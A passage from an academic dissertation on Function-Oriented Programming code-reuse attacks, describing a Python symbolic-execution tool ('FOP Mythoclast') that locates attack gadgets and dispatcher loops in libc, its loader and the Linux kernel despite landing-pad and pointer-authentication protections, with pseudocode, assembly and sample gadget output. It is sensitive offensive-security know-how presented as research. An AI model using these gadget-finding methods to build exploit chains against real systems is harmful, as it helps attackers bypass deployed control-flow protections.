for the ability to test the potential outcomes of a gadget. In cases where the flow is complex and 

consists of many constraints, this can be difficult but still possible. Potential test cases should not 

include situations where the gadgets create an infinite loop as the artifact itself has the ability to 

identify and remove them. 

As testing and development continue similar in nature to the sixth guideline of the DSR 

approach defined by Hevner et al. (Hevner et al., 2004), the process of iterative design allows for 

better validity and reliability in the gadget described by the artifact. Lastly, the ability of 

identified FOP gadgets to successfully demonstrate a FOP attack exhibits the correctness of the 
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defined gadgets. Demonstration of a successful attack displays that the artifact can successfully 

determine a set of useful gadgets. 

Data Analysis 

As mentioned previously, the main data collected in this research are the FOP gadgets 

themselves identified using the artifact created. This research analyses this data under several 

premises. The first would be the determination of usefulness in the terms of a gadget. This 

research identifies this process as isolating register results compared to the starting condition. 

This ratio defines the aspect of whether the tested gadget defines any unique characteristics or 

modifications to the register states. In most functions that return without modification of any 

registers, this would result in the exclusion of such a gadget or treatment of this gadget as a No-

OPeration (NOP). In most cases, a NOP would be of no use to the evaluation of FOP gadgets, 

but under certain conditions can be of use. This is one example of how to complete this analysis, 

another major analysis is the evaluation of the feasibility of the constraints executed. With the 

use of symbolic execution, a rough estimation of what is occurring is known. As such, there can 

be cases where the constraints of a potential gadget are not feasible given certain aspects of 

analysis. 

This research expands the analysis of the register results further to determine the use of 

specific gadgets. Limiting a gadget to a specific subset of registers makes it possible to 

deterministically choose gadgets to those that affect a small set of registers that are more of use 

between different architectures. An example use case of this is the use of the RAX register 

compared to the X0 register in Intel and ARM, respectively. As both registers typically hold the 

return values from functions, X0 is also the first argument when calling a function in ARM. This 

distinction can demonstrate the use of ruling out gadgets that only affect the RAX register.  
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By interacting with the user, it is possible to conduct further analysis of the data, allowing 

for the enforcement or ignoring of any of the defined constraints. By defining the usage state, 

this research can identify the possibilities available and thereby define gadgets. Further 

distinctions allow for the determination of the potential instruction limit available to gadgets. As 

gadgets can range in length a determination of the number of gadgets to search can be of use to 

sort useful gadgets. This further expands into the detailed analysis of the number of instructions 

to execute for a gadget to finish; this would be useful for determining the looping effect of a 

gadget or the reuse of instructions already utilized.  

The design of the artifact expands to incorporate a restriction into the analysis of jumps 

as well. When given a scenario where a conditional jump can occur a symbolic execution nature 

can have three execution states. The first is where the condition is known to be true and takes the 

jump, the second is the state where the condition fails and the jump fails, and the last condition is 

the state in which the condition is in a symbolic state and so the jump solution would depend on 

the solution in a real environment to be satisfiable. This processing can allow for the 

simplification of gadgets that include symbolic conditions to be of use.  

These aspects are the main principles behind the data analysis conducted during this 

research. As the approach for more in-depth analysis needs user discretion to be effective, by 

designing the artifact to include such options the ability is available to execute and evaluate 

results. As the output of gadgets is text-based, further analysis can be determined and done 

through command line operations or text editors to further refine a set of gadgets to a distinct list 

of data points to use during a FOP-based attack. 
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Summary 

This research and the artifact created is the basis of the DSR approach taken to identify 

the main research problem. Identifying all major points set forth by Hevner et al. (2004) in the 

aspects of DSR this research satisfies the requirements to be of use within this field of research. 

This research then defined and described the several objectives planned to distinguish this 

research as sufficiently successful. These objectives lead to a few assumptions and limitations to 

deal with during the artifact development to adhere to the strict requirements set by the CPU-

based protections envisioned. Defining the FOP gadgets identified by the artifact as the data 

collected in this research allows for a basis for what to collect and analyze. Through the use of 

symbolic execution, an extensive range of data forms can be determined during gadget location 

to further restrict or refine certain. Lastly, this research locates the validity and reliability of the 

data through the testing and the iterative nature of the DSR process. This process overall defines 

this research as a suitable member of the DSR field and demonstrates its capabilities. 
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CHAPTER 4 

IMPLEMENTATION AND EVALUATION 

Introduction 

 This research has progressed systematically, culminating in the execution of experiments 

and the comprehensive examination of resulting data, which are essential for achieving the 

research objectives. Chapter 1 established the foundation for problem identification, Chapter 2 

conducted an extensive review of prior work in the realm of code reuse attacks, with particular 

attention to FOP, and Chapter 3 outlined the proposed methodology, all of which collectively 

converge in the culmination of the research presented in Chapter 4. 

Chapter 4 delves into the design and research findings. It conducts an in-depth analysis 

and evaluation of the FOP PoC implementations for both ARM and Intel architectures, exploring 

the outcomes, capabilities, and the methodologies employed to achieve the results. Additionally, 

this chapter determines the feasibility of FOP functioning within the intricate kernel 

environment. As emphasized earlier in this research, the FOP framework and attack are essential 

to the core artifact of this study, referred to as the FOP Mythoclast. Consequently, Chapter 4 

begins by scrutinizing the tooling's implementation and results before concluding with a 

comprehensive presentation of the outcomes for FOP. 
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ARTIFACT: FOP MYTHOCLAST 

Artifact Design 

           The design of the artifact is a critical component of this research. The development of the 

FOP tooling is one of the major goals of this research and requires a unique approach for code 

reuse attack gadget detection. As the goal of the artifact is to facilitate a FOP attack by 

identifying and determining FOP-based gadgets, the approach needed to identify these gadgets is 

unique. As mentioned in previous chapters, to consider FOP gadgets as viable gadgets for a 

working FOP scenario they need to follow strict guidelines. The requirements for both Intel and 

ARM are similar and follow the same path. The first is that all gadgets must start with the 

architecture-specific landing instruction. The second is that there is no modification of the stack 

return addresses and no modification incurred to authenticated pointers in the ARM test cases. 

These two items are the main restrictions to adhere to when identifying FOP gadgets. To meet 

these two guidelines, the gadgets will consist of a valid landing pad instruction and contain safe 

stack interactions, including those that utilize authenticated pointers. This is accomplished by 

using functions as the gadget, as they include both of the restrictions this accomplishes both 

specified goals. 

           The two main restrictions facilitate the identification of a starting point when dealing with 

the determination of gadgets. Similar to how ROP and JOP gadgets have ending points to work 

backward from, FOP gadgets have a starting point to work forward from. This leads to the 

complication of identifying the end of a gadget. The length of the gadget ultimately depends on 

the first instance of the return instruction found within the function. Iterating through the list of 

instructions allows the process to determine the location of potential returns from the execution 

flow. This approach becomes complicated with the introduction of control flow instructions such 
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as calls and branching that can interrupt the linear flow of execution. The use of a symbolic 

execution approach addresses this and allows for the consideration of control flow within the 

gadget discovery, leading to greater and more accurate gadget discovery. 

           The artifact itself is usable in a wide range of use cases for both ARM and Intel instruction 

sets. To accomplish this, the artifact uses the Python language. By designing the artifact in 

Python, it becomes more versatile as the Python interpreter facilitates cross-platform operability. 

Python also allows for the ability to build upon publicly available symbolic execution engines as 

mentioned later in this chapter. 

           The chief purpose of the FOP Mythoclast is to identify and present potential gadgets to the 

user. This requires the enumeration of dispatcher gadgets necessary for the successful execution 

of the FOP attack. These requirements shape the dataset generated by the artifact, which is 

subject to examination concerning the viability of a FOP attack within a specific software 

context. The subsequent section outlines the approach adopted for identifying potential gadgets 

through symbolic execution. 

Symbolic Gadget Identification 

 Most symbolic execution engines utilize states, which is the ability to store execution 

information between jumps and memory modifications. This approach is useful for scenarios 

where backtracking to a different code path is a desirable feature. While this process permits the 

greatest number of possible code paths to be explored, it can become memory-intensive and lead 

to state explosion (Clarke et al., 2012). This memory-exhaustion and state explosion problem 

leads to the implementation of a different approach to examine possible gadgets.  

 Given that FOP gadgets may have variable and unknown lengths, it becomes imperative 

to establish an upper limit on the gadget length. Two distinct methods achieve this. The first 
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involves setting a predefined upper bound that is adjustable via a command line argument. The 

second method entails identifying potential paths before entering the symbolic execution phase. 

This phase is the identification phase and happens before the execution of any symbolic 

execution. In this phase, the FOP Mythoclast examines potential code paths in conjunction with 

instruction counting. Figure 1 and Figure 2 give an illustration of this process in an Intel x86-64 

context. 

Int main(argc) { 

   Int a = 0; 

   a = argc 

   if (a == 15){ 

      return 0; 

   } 

   for (; a != 100 ; ) 

  { 

       a++; 

   } 

   return 0; 

} 

endbr64 

push rbp 

mov rbp, rsp 

sub rsp, 4 

lea rax, [rbp] 

mov dword ptr [rax], rdi 

cmp dword ptr[rbp], 0x15 

je end 

mov rax, dword ptr[rbp] 

top: 

cmp rax, 0x100 

je end 

inc rax 

jmp top 

end: 

mov rax, 0 

mov rsp, rbp 

pop rbp 

ret 

Figure 1: Examination of potential paths in X86-64 

Through a thorough examination of the code, a human can discern the processes 

unfolding within the source code as well as its corresponding assembly code. During the 

identification phase, the FOP Mythoclast adopts a specific approach of initially traversing the 

code to identify branching states and subsequently constructing a control flow graph recursively, 

while striving to cover all possible branches. This is similar to the approach taken by other tools 

and symbolic execution engines such as angr’s CFGFast implementation (angr, n.d.). As 
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demonstrated in Figure 2, the example code from Figure 1 transforms into three distinct 

instances. 

endbr64 

push rbp 

mov rbp, rsp 

sub rsp, 4 

lea rax, [rbp] 

mov dword ptr [rax], rdi 

cmp dword ptr[rbp], 0x15 

je end 

nop 

nop 

nop 

nop 

nop 

nop 

nop 

nop 

nop 

nop 

end: 

ret 

endbr64 

push rbp 

mov rbp, rsp 

sub rsp, 4 

lea rax, [rbp] 

mov dword ptr [rax], rdi 

cmp dword ptr[rbp], 0x15 

jne new_end 

new_end: 

mov rax, dword ptr[rbp] 

top: 

cmp rax, 0x100 

je end 

nop 

nop 

end: 

mov rax, 0 

mov rsp, rbp 

pop rbp 

ret 

endbr64 

push rbp 

mov rbp, rsp 

sub rsp, 4 

lea rax, [rbp] 

mov dword ptr [rax], rdi 

cmp dword ptr[rbp], 0x15 

jne new_end 

new_end: 

mov rax, dword ptr[rbp] 

top: 

cmp rax, 0x100 

jne new_end_2 

new_end_2: 

inc rax 

jmp top 

end: 

mov rax, 0 

mov rsp, rbp 

pop rbp 

ret 

Figure 2: Three possible paths from Figure 1 

The process begins by stepping through the assembly instructions and attempting to 

locate a return instruction. The appearance of a jump instruction before a return instruction 

results in two cases. In these cases, the jump is either taken or not taken. As seen in Figure 2, the 

FOP Mythoclast accomplishes this by modifying the original jump to the inverse jump with a 

zero-size jump offset. This simulates the two possibilities for the symbolic execution engine of 

taking the jump vs not taking the jump. The symbolic execution step then handles this by 

identifying if a jump is determinable and satisfiable in the given state. Figure 3 gives an example 

of a determinable state vs. a non-determinable state.  
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Determinable Non-Determinable 

endbr64 

cmp [rip+1234], 0 

jne end 

mov rax, 0 

end: 

ret 

endbr64 

cmp [rdi], 0  

jne end 

mov rax, 0 

end: 

ret 

Figure 3: Example of a Determinable and Non-Determinable state 

The determinable state can be satisfied during the symbolic execution phase but not the 

identification phase as the tooling does not allow memory accesses during this phase. To handle 

this case, the symbolic execution phase receives the two possible paths and checks for the 

feasibility of each, discarding any cases where the engine determines the path is impossible. It is 

not possible to evaluate the non-determinable jump in Figure 3, as the comparison relies on the 

input from the RDI register. This results in the generation of a potential gadget with a constraint 

on the RDI register. As the gadget references an unknown piece of memory this jump could 

cause either code paths to land depending on the value of the RDI memory address passed in 

ultimately changing the results of the gadget.  

It is crucial to highlight that merely replacing the jump instruction with a No-OPeration 

(NOP) instruction in the fall-through case could lead to erroneous assumptions in subsequent 

stages. This results in the expectation that the jump would fail without knowledge of the reason 

the jump passed through during the symbolic execution phase. To address such potential jump 

scenarios, the tool’s design is to enforce a potential jump. 

Another significant point to consider is that the positions of instructions must remain 

unchanged, as altering them can impact function calls and memory accesses reliant on relative 

offsets. In Figure 2, where NOP instructions serve as padding, memory remains vacant as a 

safeguard to detect incorrect or infeasible paths within the code selected during the symbolic 

execution phase. 
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The practice of identifying potential gadgets before initiating the symbolic engine 

operation facilitates a reduced memory footprint and expedited runtime. This approach 

circumvents the need to handle all potential states and the associated challenges of state 

explosions. 

Dispatcher Gadget Identification 

 The dispatcher is the main analysis engine for a FOP attack and is essential for a FOP 

implementation to be successful. The dispatcher takes a different approach from the normal FOP 

gadget identification, but rather takes a similar approach to that of Guo et al. (2018) utilizing 

static analysis to locate the gadget. Algorithm 1 showcases the procedure employed for 

identifying potential dispatcher gadgets. 

The algorithm steps through all instructions attempting to identify potential indirect calls. 

This can be either through a direct register reference or through memory. The algorithm then 

checks the subsequent instructions for potential increment or decrement instructions, a 

comparison instruction, and a jump instruction jumping to before the indirect call. The 

identification of these three sequences occurring relatively soon after an indirect call instruction 

identifies this group of instructions as a potential dispatcher gadget. 
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 Input: C:- The tested corefile 

 Output: G:- The set of potential dispatcher gadgets 

1.  IDC:- Variable for a check for an increment/decrement instruction 

2.  CC:- Variable for a check for a comparison instruction 

3.  I:- Instruction variable 

4.  Ii:- Forward looking instruction variable 

5.  S:- Section variable 

6.  while S = get_sections(C) do 

7.   if is_executable(S): 

8.    while I = get_instruction(S) do 

9.     if is_indirect_call(I): 

10.      IDC = ∅; 

11.      for ( Ii = I + 1 ; Ii <= I + 10 ; Ii = Ii + 1): 

12.       if is_incdec_instruction(Ii): 

13.        IDC = 1 

14.        continue 

15.       end 

16.       if is_cmp_instruction(Ii): 

17.        CC = 1 

18.        continue 

19.       end 

20.       if CC and IDC and is_jmp_instruction(Ii): 

21.        if Ii.jump_target <= I.address – 0x20: 

22.         G = G ⋃ I 
23.         break 

24.        end 
25.       end 
26.      end 
27.     end 
28.    end 
29.   end 
30.  end 

Algorithm 1: Dispatcher gadget identification algorithm 

 The design of the algorithm is to identify all potential targets within a provided core file. 

However, due to its lack of robustness and absence of symbolic execution, manual inspection of 

each gadget is necessary to assess its potential usefulness. In the majority of cases, identifying 

potential FOP dispatcher gadgets hinges on the ability to access the looping code during 

execution. The second criterion for determination is that the dispatcher should not adversely 
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affect crucial registers utilized during the looping process. Figure 4 demonstrates two examples 

of gadgets. The first is an example of a useful dispatcher gadget. The second example displays a 

dispatcher that clobbers too many registers to be of use, in most cases, as a dispatcher. This 

gadget could still be useful in different environments depending on the circumstance of a FOP 

attack. 

Good Dispatch Clobbered X0, X1, X2 Dispatcher 

fb8:       ldr x1, [x19] 

fbc:       blr x1 

fc0:       cmp x20, x19 

fc4:       sub x19, x19, #0x8 

fc8:       b.ne #0xfb8  

4610:       add  x19, x19, #0x8 

4614:       ldr x4, [x4] 

4618:       mov x2, x22 

461c:       mov  x1, x21 

4620:       mov w0, w20 

4624:       blr x4 

4628:       mov x4, x19 

462c:       cmp x19, x23 

4630:       b.ne #0x4610  

Figure 4: Examples of two dispatcher gadgets 

 As demonstrated in Figure 4, both cases demonstrate the modification of register X1. The 

second case is different in that the modification impacts both registers X0 and X2 as well. It will 

be shown later in the chapter that a FOP attack can work around having only one register 

clobbered, but having multiple argument registers clobbered is more difficult to maneuver 

around. 

Symbolic Execution Engine 

 As mentioned previously in this study, the design and implementation of the artifact is 

around a symbolic execution framework. As the study and design of a novel symbolic execution 

is outside the scope of this research, this research builds upon a previous framework. For the use 

of this study, it was found that the pysymemu (Feliam, 2013/2023) engine would be a suitable 

starting point. Other potential symbolic execution engines such as angr (Shoshitaishvili et al., 
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2016a), S2E (Chipounov et al., 2012), and Triton (Parygina et al., 2022) were analyzed and 

determined to either have too much overhead or be too complex to modify in a useable manner.  

 The design of pysymemu was originally for x86/64 Intel binaries and designed to 

generate potential crashing input for binary fuzzing and exploit development. To identify FOP 

gadgets a rework of the design was necessary. First, the original design of pysymemu was for 

Python2 meaning some modifications were necessary to remodel the engine to work with 

Python3. Furthermore, as with most symbolic execution engines, pysymemu utilizes state-saving 

approaches when encountering potential jump cases. As mentioned previously, this research is 

not pursuing the use of state-saving approaches allowing for the removal of state-saving 

mechanisms. Pysymemu also includes filesystem, memory, and custom symbol management 

systems, the removal of most of which allows for better efficiency and removes redundant 

features that Z3, and SMT solver, now provide. Ultimately, from the original pysymemu engine 

design the only left over functionality is the Intel instruction set and basic memory management 

system, which required heavy modifications to work with modern Z3 API and in a Python3 

environment. To further enhance the framework, this research made several additional 

modifications such as core file initialization, gadget identification, gadget displaying, separate 

kernel gadget support, and most importantly support for the ARM instruction set. This final 

addition was a complete rewrite of the tooling to support another architecture from the ground 

up. This allows for the possibility to interact with ARM binaries and to identify FOP gadgets 

within them. 

Core File 

 As the identification of FOP gadgets depends on values in memory, two approaches can 

be viable. The first approach utilizes a fully symbolic memory allocation model, treating all 
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referenced memory as symbolic and making it available for use during execution. The second 

approach entails establishing a realistic memory region during gadget identification. 

 The benefit of the first approach is that the tooling will require less input from a user in 

the gadget-finding approach. This approach also allows for the ability to identify more potential 

FOP gadgets. One drawback to this approach is the potential for an increased number of false 

positive gadgets that arise during the gadget identification process. These false positives may be 

instances where gadgets compare memory to specific values, even though the values in memory 

remain consistent. This phenomenon can result in an abundance of unusable gadgets, 

complicating the task of identifying genuinely useful ones. 

 The benefit of the second approach is that the identified gadgets will be more tailored to 

the specific environment where the FOP attack will take place. This allows for a more 

streamlined approach when generating a FOP chain. The caveat to this approach is that it 

requires more user interaction to specify a starting memory point and define several files for the 

environment to work with. This approach can also lead to fewer gadgets overall, but the 

identified gadgets would be more refined. 

 Given the pros and cons of the two approaches, the determination to use the second 

approach provides more use when attempting to identify FOP gadgets. The tooling uses a core 

file to construct a memory model from the data extracted. The usage of this data within the 

symbolic execution framework allows for the use of managed memory references. This approach 

ultimately leads to better handling of the FOP gadget identification process. 

Kernel Approach 

 As the Linux kernel has a much larger codebase compared to Libc, the ability to locate 

gadgets between the two differs slightly. The kernel approach to identifying FOP gadgets is 
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nearly identical to user space applications, but the differences are evident in the identification of 

dispatcher gadgets within the tooling. As identified in Algorithm 1, the user-space approach 

utilizes pure static analysis to identify potential gadgets. Given the magnitude of the Linux 

Kernel, this approach displays too many gadgets to realistically parse all potential gadgets. To 

combat this, Algorithm 2 displays the new approach taken to identifying potential dispatcher 

gadgets within the kernel. 

 Input: K:- The tested kernel image 

 Output: G:- The set of potential dispatcher gadgets 

1.  LG:- List of potential gadgets 

2.  I:- Instruction variable 

3.  Ii:- Instruction walking variable 

4.  LG = ∅ 

5.  while I = get_instruction(K) do 

6.   if is_indirect_reg_call(I): 

7.    for ( Ii = I + 1 ; Ii <= I + 10 ; Ii = Ii + 1): 

8.     if is_jmp_instruction(Ii): 

9.      if Ii.jump_target <= I.address – 0x20: 

10.       LG = LG ⋃ I 
11.      end 
12.      break 
13.     end 
14.    end 
15.   end 
16.  end 
17.  for ( I in LG ): 

18.   for ( Ii = I - 1 ; Ii >= 0 ; Ii = Ii - 1): 

19.    if is_landing_pad_inst(Ii) 

20.     if is_rip_control(symbolic_exec(Ii)) 

21.      G = G ⋃ Ii 
22.      break 

23.     end 

24.    end 

25.   end 

26.  end 

Algorithm 2: Linux kernel dispatcher gadget identification 
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This approach differs by adding a second phase to the dispatcher gadget discovery. After 

a less stringent initial determination process for potential gadgets, the algorithm adds these 

gadgets to a temporary list. The algorithm iterates through this list in the second phase, where it 

analyzes the instructions in reverse order to identify the first instance of a landing pad 

instruction. This landing pad serves as an entry point of execution that can lead to the potential 

dispatcher gadget. The symbolic execution engine receives this entry point where it can now 

ascertain whether the identified gadget holds the potential to assume control over the RIP 

register. Subsequently, the symbolic execution engine subjugates this gadget to a detailed 

examination, similar to the analysis of conventional FOP gadgets, to understand the implications 

and control aspects imposed by the identified constraints. 

In the context of Linux kernel memory corruption vulnerabilities, most situations provide 

the ability to control specific arguments and gain initial RIP control. This grants access to a 

broader spectrum of gadgets compared to user space scenarios. This expanded range also 

facilitates the exploration of more unique cases and intricate branching between chains, all while 

remaining under precise control. 

Tooling shortfalls 

Indirect Branch Handling 

 The main limitation for the FOP Mythoclast is rooted in the process of identifying 

potential FOP gadgets, more succinctly the indirect calls and jumps that could occur. Indirect 

branches can occur from an infinite number of contexts. An example would be by passing a 

function pointer into a function for use as a parameter, or through a lookup stored in memory. In 

the first case, the FOP Mythoclast correctly identifies this gadget as being a potential avenue to 
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direct control flow. In the second scenario, the tooling fails to correctly follow the control flow of 

the gadget.  

 This limitation arises from the two-stage approach employed by the FOP tooling in 

identifying gadgets. In the first stage, the tool lacks awareness of potential execution outcomes 

and focuses solely on identifying possible returns or indirect calls/jumps. Consequently, this 

initial stage imposes constraints on the possibilities, particularly when it comes to the 

determination of an indirect call during the subsequent symbolic execution phase. 

The symbolic execution phase operates under the assumption that all instructions are 

known, and it avoids traversing unknown paths. However, it can prematurely terminate upon 

encountering a deterministic branch, which primarily occurs during memory-accessed indirect 

branching, such as switch jump tables. While this approach is effective in certain scenarios, it 

does restrict the number of potential gadgets identified, particularly within functions that utilize 

jump or call tables. 

This research found that this limitation fell within acceptable parameters because 

attempting to address it would necessitate one of two possibilities. The first is to symbolically 

execute every function and path without a first stage, which would allow for the correct 

identification of these deterministic branches but would cause considerable time increases. This 

can lead to further branch explosion paths and unutilized execution paths becoming evaluated. 

The second possibility would be the implementation of specific cases to handle these 

deterministic branches, of which the test environments contained few. The avoidance of which 

saves time in running and the development cycle of the FOP Mythoclast.  
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Dispatcher Identification Looseness 

With gadget identification comes the tradeoffs of the looseness of the dispatcher gadget. 

Having enumerated some of the problems with regular gadget discovery in the cases of indirect 

branching, the identification of a looping gadget around the indirect branch suffers from the same 

issues. As Algorithms 1 and 2 correctly identify potential dispatcher gadgets, there are scenarios 

where the algorithms return false positives. This problem can slow down the identification of 

correct gadgets to facilitate a working FOP attack. This research determined that this is 

acceptable given that a more complex algorithm would reduce the potential gadgets displayed, 

which could be of use in different attack scenarios. Another reason for discarding this approach 

is the consistent presence of a small number of dispatcher gadgets in the tested libraries. This 

research explores this reason in more depth further on. 

Current Limitations with core files 

 Another pitfall of the FOP tooling is the usage of core files. In the context of the FOP 

tooling, the core file performs the job of giving the tooling a starting location with memory pages 

mapped and initialized data loaded into these pages. As mentioned above, this approach allows 

for the correct identification of more gadgets by adding context to gadgets that dereference 

memory addresses. The pitfall in the tooling comes from the core files’ structure themselves. By 

default, core files do not store executable and read-only memory pages, which leaves pages 

missing from the memory dump and requires further identification of supplemental libraries for 

the tooling to correctly load the data.  

Limitation to Libc and LD 

 The previous limitation requires the context of Libc and its loader to expand further. In 

the case of the FOP Mythoclast, the limitation of the current implementation is only being able to 
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identify FOP gadgets within Libc and its loader. While this limitation is only of concern in 

programs that utilize multiple libraries, it could be of use to identify potential gadgets between 

all executable regions within the binary’s executable mappings. This fortunately does not affect 

the outcome of this research, given that one of the goals was to enumerate gadgets only within 

Libc as to maximize its applicability in various environments.  

Kernel Memory 

 The last concern is the approach taken to examining kernel memory with the tooling. The 

Linux kernel utilizes significantly more memory compared to a single library; this larger memory 

surface results in a different approach to memory initialization for handling gadget discovery. 

The main difference is the ability to start from an initialized state such as the use of core files in 

the user space implementation. Storing both such a file and the entire instruction set in memory 

simultaneously would exceed Python's memory allowance in the test environment, so this 

research ruled out this approach. Instead, a limitation on the memory references used during the 

symbolic execution phase are set to be fully symbolic. As discussed earlier, this can lead to an 

increase in false-positive gadgets.  

While this had previously been a problem to avoid, there are no viable approaches to 

avoid it. Instead, this research reasons that this is of little importance given the enormous size of 

the Linux kernel. As the Linux kernel contains a sizeable number of functions the precondition to 

analyze and identify useful gadgets is already a requirement and should not affect the capabilities 

of gadgets with more or unknown memory constraints. This aspect alone should be enough to 

accept this last concern. 
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Unique Gadgets Approaches 

 Within the approaches taken for the FOP Mythoclast, it became apparent that there were a 

few test cases that involved unique gadget handling. The first is the process for handling syscalls. 

As the design of the FOP Mythoclast did not include handling low-level system implementations 

of syscalls, there are shortfalls in the ability to successfully handle a syscall within the symbolic 

engine. To establish an effective approach to this issue, this research decided to treat all system 

calls as though they had failed but still identify the execution of system calls. To accomplish this, 

the FOP Mythoclast sets the return register (RAX/R0) to -1 at the point of a syscall instruction. 

This approach provides transparency to the user, indicating that the output from the gadget may 

be incomplete, yet it could potentially serve as a target if that specific syscall result is desired. 

Figure 18 below illustrates an example of the syscall function within ARM and illustrates the 

determination of even symbolic syscalls. 

 Most figures that demonstrate identified gadgets in this chapter contain sections referred 

to as constraints. These constraints are a feature of the FOP Mythoclast that allows a user to 

identify additional impacts or requirements for the gadget. Figure 9 demonstrates several of these 

constraints. Constraints typically fall into two main categories: memory accesses and branches. 

When a symbolic memory access occurs, the tool needs to articulate that the gadget will attempt 

to access memory, typically through a register access, and that the constraint must be satisfiable 

for the gadget to be of use. 

 The second constraint of comparisons and jump instructions, most functions include 

checks of parameters or memory requiring a valid value or correct instance. As mentioned above 

and displayed in Figure 2, this analysis can create multiple paths. When the path identification is 

successful, it sets a constraint that illustrates the necessary restrictions required for utilizing this 

gadget. 
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 The ability to output constraints drastically increases the number of feasible gadgets. 

Figure 23 illustrates one final constraint-based feature, where both read and write constraints are 

present. The inclusion of numerical values for both the read and write constraints enables users 

to discern the order of these memory access constraints. This feature proves valuable in assisting 

users in tracking values between memory locations without the necessity of dynamic gadget 

testing. 

 Another unique feature is the ability to identify the size of memory written from a 

register to memory. In most cases, the compiler will default to writing a single byte from 

memory or a register at a time. Figure 5 demonstrates this approach for 8-bit register names.  

LIBC 0x363a0: 

   Results: 

      RAX: Concat(0, [RDI]) 
      RCX: 0xffffffff0fffffff 

      RDX: Concat(0, [1 + RDI]) 

      RDI: 1 + RDI 

   Read Constraints: 

       0: Byte [RDI] 

       1: Byte [1 + RDI] 
   Jump Constraints: 

       Byte [RDI] != 0 

       Byte [1 + RDI] == 0 

Figure 5: Gadget demonstrating the reading of 1 byte from memory 

This method performs effectively up to 64 bits, which is the standard size of registers and 

the associated naming scheme. Beyond this point, the approach shifts to using values of 128, 

256, or 512 bits. The ability to display the stored values becomes difficult to articulate. To 

counter this the FOP Mythoclast identifies gadgets that utilize XMM – ZMM registers and 

displays the memory movement in an intuitive manner. Figure 6 gives an example of this. 
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LIBC 0x161ea0: 

   Results: 

      RAX: RDI 

      RCX: RSI + RDX 
      R9: RDI + RDX 

   Read Constraints: 

       … 

   Write Constraints: 

       2: 64 Bytes [RDI] = [RSI] 

       … 
   Jump Constraints: 

       … 

Figure 6: Demonstration of a large memory movements 

 This example showcases the capability to promptly recognize this gadget's utility, which 

involves transferring 64 bytes from the memory at RSI to RDI. Such an approach streamlines 

both gadget identification and display, enabling a more efficient user experience. 

Speed 

 An important aspect of the use of tooling is the time required to run such a tool. The data 

in Table 1 displays the time requirements to identify gadgets between 3 main categories with the 

FOP Mythoclast.  

Library 15 25 50 

Built (X64) 52.84 301.41 2484.60 

Centos (X64) 31.74 255.95 2093.61 

Fedora (X64) 50.74 281.52 1948.05 

OpenSuse (X64) 31.70 247.79 1546.54 

Ubuntu (X64) 52.69 298.18 1805.40 

Built (ARM) 20.60 36.25 100.64 

Fedora (ARM) 8.84 16.76 39.02 

OpenSuse (ARM) 20.86 37.24 94.97 

Table 1: Timing analysis between different libraries and architectures 

 As expected, there is a non-linear increase in time in relation to the number of gadgets, as 

the growth in instruction depth does not contain a linear correlation to the number of test cases 

completed. Additionally, a direct comparison of time constraints between ARM and Intel 
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architectures is hard to ignore given the significant difference in time. This research did not fully 

explore this time difference, but it may be due to the variation in the number of tested functions 

in the provided libraries. The support for this analysis occurs in the ARM and Intel sections 

separately further in this research. 

Tooling Evaluation 

Outcome 

 Overall, the design and implementation of the FOP tooling was a success. The design of 

the tooling allows for fine-tuning of the displayed gadgets and starting states via command line 

arguments. While the final display of the gadgets is simplistic, it facilitates a straightforward 

understanding of the displayed information. Below in Figure 7 an example output demonstrates 

the instructions utilized to generate the given gadget. 

__hash_string: 

LIBC 0x363a0: 

   Results: 

      RAX: 0x0 

      RCX: 0xffffffff0fffffff 

      RDI: 1 + RDI 
   Read Constraints: 

       0: Byte [RDI] 

   Jump Constraints: 

       Byte [RDI] == 0 

   363a0:      endbr64 

   363a4:      movzx  eax, BYTE PTR [rdi] 

   363a7:      add    rdi, 0x1 

   363ab:      movabs rcx, 0xffffffff0fffffff  

   363b5:      test   al, al 

   363b7:      je     363f0 

                    … 

   363f0:       xor    eax, eax 

   363f2:       ret 

Figure 7: Demonstration of the __hash_string function gadget 

 In the case of the example in Figure 7 the function __hash_string will set RAX to 0, RCX 

to 0xffffffff0fffffff, and RDI to RDI + 1 given that RDI currently points to a memory region 

holding the byte 0x00. This kind of comparison is normal for functions that operate on strings 

and is an example of side effects that can occur on important registers such as RDI and RCX. 
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Useless Gadgets 

 Along with identifying gadgets also comes the ability to identify useless gadgets. In this 

case, these would be gadgets that do not do anything of note to memory or registers. In some 

cases, these could be functions that only operate on the RAX register in X64 environments. 

Figure 8 demonstrates such a function. 

000000000146810 <__nss_next@GLIBC_2.2.5>: 

  146810:           endbr64 

  146814:         mov    $0xffffffff,%eax 

  146819:             ret 

Figure 8: Example of a useless gadget 

In this case, the RAX register is set to the 32-bit twos-complement value of -1. In the 

case of FOP, this function is of no use, as there were no identified gadgets that could operate 

from the RAX register. This is important to know as most functions will have useful return 

values, such as malloc or read. Unfortunately, in an X64 instance, there is no way to utilize this 

return value in the RAX register for any benefit. 

Validity and Reliability 

 As described earlier in previous chapters, the identification of validity and reliability of 

the tooling occurs through two primary means, static and dynamic analysis. This research 

performed static analysis on several gadgets similar to the gadget above in Figure 7. Through this 

analysis, context-specific fixes were better able to support the FOP Mythoclast and FOP gadget 

discovery. The use of dynamic analysis in more complex gadgets occurred as well, such as the 

one found in Figure 9. 
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LD 0x1c3a4: 

   Results: 

      X0: Concat(0, [X0]) + 0xffffffffffffffff* Concat(0, [X1]) 

      X1: 1 + X1 
      X2: X2 + 0xffffffffffffffff*Concat(0, 7*(X0) & 0x7) 

      X3: Concat(0, [X0]) 

      X4: Concat(0, [X1]) 

      X8: X0 ^ X1 

      X11: 0x101010101010101 

      X13: Concat(0, 7*(X0) & 0x7) 
   Read Constraints: 

       0: Byte [X0] 

       1: Byte [X1] 

   Jump Constraints: 

       Not(X2 == 0)  

       Qword X0 ^ X1 != 7 
       Qword X2 HS 16 

       Not((X0) & 0x7 == 0)  

       Dword Concat(0, [X0]) != Concat(0, [X1]) 

   Conditions: 

       Dword Concat(0, [X0]) HS Concat(0, [X1]) 

Figure 9: Example of a complex gadget 

The confirmations of various jump conditions to be satisfiable was possible by 

initializing a program to have the same starting environment as the tooling environment through 

the use of the core file. Symbolically executing the function allows the tool to confirm the 

accurate identification and reporting of constraints for the gadget. Another method used to verify 

gadgets was through their usage in FOP chains, as seen in Appendices 2-6. The usage of a gadget 

in a working FOP attack demonstrates that the gadgets and their given constraints were correct.  

ARM and Intel Support 

 The process for identifying potential FOP gadgets included the usage of multiple different 

Linux distros. Ultimately the occurrence of gadgets depends on the method of compilation used 

to generate the Libc instance. With each architecture-specific gadget requiring a specific landing 

pad to facilitate its use as FOP gadget, the omission of such an instruction implies that the 

